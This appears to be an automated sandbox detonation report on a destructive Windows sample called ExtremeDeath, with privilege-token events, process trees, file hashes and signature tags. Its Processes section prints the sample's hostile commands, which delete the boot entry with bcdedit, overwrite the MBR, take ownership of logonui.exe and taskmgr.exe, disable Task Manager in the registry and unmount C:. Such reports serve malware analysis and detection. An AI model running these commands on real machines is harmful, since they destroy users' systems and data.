Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\system32\SndVol.exe N/A
N/A N/A C:\Windows\system32\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\system32\SndVol.exe N/A
N/A N/A C:\Windows\system32\SndVol.exe N/A
N/A N/A C:\Windows\system32\SndVol.exe N/A
N/A N/A C:\Windows\system32\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1892 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe
PID 1892 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe
PID 1892 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe
PID 1892 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe
PID 2396 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 2396 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 2396 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 2396 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 540 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 540 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 540 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 540 wrote to memory of 3052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 540 wrote to memory of 3052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 540 wrote to memory of 3052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 540 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\TrashMBR.exe
PID 540 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\TrashMBR.exe
PID 540 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\TrashMBR.exe
PID 540 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\TrashMBR.exe
PID 540 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 540 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 540 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 540 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 540 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 540 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 540 wrote to memory of 2052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 540 wrote to memory of 2052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 540 wrote to memory of 2052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 540 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2620 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 540 wrote to memory of 2620 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 540 wrote to memory of 2620 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 540 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 540 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 540 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 540 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 540 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 540 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 540 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 1132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 1132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 1132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 540 wrote to memory of 1868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 540 wrote to memory of 1868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 540 wrote to memory of 1868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 540 wrote to memory of 1440 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\beeper.exe
PID 540 wrote to memory of 1440 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\beeper.exe
PID 540 wrote to memory of 1440 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\beeper.exe
PID 540 wrote to memory of 3000 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 540 wrote to memory of 3000 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 540 wrote to memory of 3000 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 540 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseError.exe
PID 540 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseError.exe
PID 540 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseError.exe
PID 540 wrote to memory of 1640 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseError.exe
PID 540 wrote to memory of 1636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 540 wrote to memory of 1636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 540 wrote to memory of 1636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.cmd"

C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe

ExtremeDeath.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\B3E5.tmp\B3E6.bat C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

C:\Windows\system32\cscript.exe

cscript prompt.vbs

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\TrashMBR.exe

TrashMBR.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im logonui.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\logonui.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant "everyone":F

C:\Windows\system32\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\taskmgr.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant "everyone":F

C:\Windows\system32\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\beeper.exe

beeper.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseError.exe

MouseError.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseWarning.exe

MouseWarning.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 10 /nobreak

C:\Windows\system32\SndVol.exe

SndVol.exe -f 46269591 19950

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\PlgBlt.exe

PlgBlt.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseError.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseWarning.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseError.exe

MouseError.exe

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseWarning.exe

MouseWarning.exe

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 15 /nobreak

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\BitBlt.exe

BitBlt.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\glitch.exe

glitch.exe

C:\Windows\system32\timeout.exe

timeout 30 /nobreak

C:\Windows\system32\mountvol.exe

mountvol c: /d

Network

N/A

Files

memory/2396-0-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\B3E5.tmp\B3E6.bat

MD5 8c5dafc8fbd26dd529c25a01ecd5a51d
SHA1 839e962516258049a9e5e358dec7fe352e09d840
SHA256 355785cc786eed7dffecfa7d33872f6de6baa833dce34598adf0d5c8688c00f6
SHA512 fda772a900c542eb59f4a94dc1eadec9677bb117e84a07c4e5c1afbf853704e6be4031383330f0dd88d2b48bbca973484c1e60ab3aa9424158f2c787e63de295

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\prompt.vbs

MD5 709874d32bd68e69010acdf70cebf063
SHA1 feb94076246fe2fc902ef04d745fa0e60fe1497f
SHA256 1187be0f09aa0f917718064406e4595ac6137dd3a801e91ab2d7a03d98872da1
SHA512 bdb10baa9d02f9fff1b59e718a59c6c5a163d4a9d503fb2fe1767163fd3d746c01a7ca1546ad4febc25685d5a854635bc6170009db851a66853ce66d71d25526

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\TrashMBR.exe

MD5 42d06436fdc392a4e90d03623119fa87
SHA1 df9f007d438fc17fd47324b74a82d100a0763204
SHA256 82f2e6b2cdad0ef859fe839c97bd7c0a34452638d49094979d7c0c4488b5c2ab
SHA512 52655cd83ab881c93c9076ad0d8a9b8ebeba37d6d2b00ebcf5a45f1e835463898aa22611445ff7505977cb8d8942e2f8b6a60706ec7eee494f7131ecc65e76c4

memory/2756-24-0x0000000000400000-0x00000000004D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\beeper.exe

MD5 8d1a9c2e8d53425499f3a1853d2e0910
SHA1 83962bce20d3f84b796486489e2c734afd1d0846
SHA256 1d89bd45a36dd300a250292cacf22a7beff3cfe0dfddab0d7b77c3c260032131
SHA512 81ba0b91f2fd0ba9b198c59ae7cc6115bf9b05c119ea46f37043a1981ef246c617fe6ba5590048b2e1383fb27c686b6eb75fdd6e642ea4433b404d0eaabf3950

memory/1440-28-0x0000000000260000-0x00000000002CA000-memory.dmp

memory/1440-29-0x0000000002000000-0x0000000002060000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseError.exe

MD5 cc72818ce44b3506b64b7f9a73d701bf
SHA1 041497924684e41aa671fe64acf6f980e0d9da7c
SHA256 48da69b9dfd600973ffcdba14abd88972ae51a5cae31b41d85ed56977f2b94dc
SHA512 4e3ad05ad99bd8c150ad99c8becca122613e446c678617f0a5a28e780706afe03580ec643956245e5e02d169e4f28bdf4f95b7d095d8e055517508c7dbeb0149

memory/2396-33-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseWarning.exe

MD5 ad241a26c7f536fdb0658d602a86fcdd
SHA1 f862eecbac2d4afe4a437b77c6020b6de38b0671
SHA256 c3c6fe174f474e47b93e7aea1d0d77539d6880c3d84acac6412eff3393366dae
SHA512 5d8f9bd5d17a98b03adb4f0e173f011071708847748395889e7b582a25fc9f4606223415d9b61b3f82274a3addd73d86752bfba0bcb452990347f6b1439d672f

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\MouseAppIcon.exe

MD5 92af619c1bdabf79c26bddda2556d9d0
SHA1 ac153eb6edd873abf6dcb6a0edbc9922d15e5dd1
SHA256 72a5692d137571317f84287c4f2abb341b95173f9ee43901f6b3272bb1631e95
SHA512 439855a8487f5cdd5ec195c303c85078af69c05ae28a837ff4d74d8e9f922a9556299b02b7bfdbe47f4287772604b21fe017ee49e0668022877a063771a37adb

memory/1640-38-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1936-40-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\PlgBlt.exe

MD5 5d8ff1dd3662ac09e5bfa682ffdb233e
SHA1 c0ed5cfd5fa76db7087b4f25a806e124e29520af
SHA256 7cd320070e23e6582589d83f01f4da86ce0d1c0fe83d8df2007886c6ea10cc83
SHA512 d2258dda192a6a938989617aa46c33c0eabfae2a2d3284d3ac999b8d482ff2f08ffde836156ff341e51029d946f71ce77892b13a5924996b92a7773f2e123bb9

memory/1640-43-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1936-44-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2900-45-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1824-50-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2032-51-0x0000000000400000-0x000000000041D000-memory.dmp

memory/960-52-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1108-53-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\BitBlt.exe

MD5 d96dcc6c97ee4740f0a3a41b3bccf5cc
SHA1 25530ffaf174063c119e2d0c06afdc1d2bdd416f
SHA256 e0c40f127ceef9de46569154ef16f59e7e15d19477beb167f67a72d35193114e
SHA512 0f9ca7eb852edb469fd2f73e8b2a9425771d359aff4fde220193996befaa07fb57ac5e77d11b4cf29f3d64b358169d6a95cab02af57e5eea390063d5bd9e8372

C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\glitch.exe

MD5 5ce49a6bbff759faf8204a65991d6bd7
SHA1 b8fe526d5cc346c506e543c7eecef995d1f96021
SHA256 48af943061196a4f47d5de6d2335bef7bcfdb89990e8ddb2339e64024f0d50d9
SHA512 e77785d8366de1062eb0d044b3b096f3d3c7687986ec332a607333a40acf8341f917a62f910ca5b419b4122f294e11d81e6fbaf707c240baa8556ede87d01356

memory/960-61-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1108-62-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2032-60-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1044-64-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1784-69-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1108-68-0x0000000000400000-0x000000000041D000-memory.dmp

memory/960-67-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2032-66-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2032-73-0x0000000000400000-0x000000000041D000-memory.dmp

memory/960-74-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1108-75-0x0000000000400000-0x000000000041D000-memory.dmp

memory/1108-82-0x0000000000400000-0x000000000041D000-memory.dmp

memory/960-81-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2032-80-0x0000000000400000-0x000000000041D000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:53

Platform

win10v2004-20241007-en

Max time kernel

269s

Max time network

160s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.cmd"

Signatures

Disables Task Manager via registry modification

evasion

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\787C.tmp\TrashMBR.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\787C.tmp\BitBlt.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\787C.tmp\glitch.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\787C.tmp\TrashMBR.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseError.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseWarning.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\787C.tmp\MouseAppIcon.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\787C.tmp\PlgBlt.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\787C.tmp\PlgBlt.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
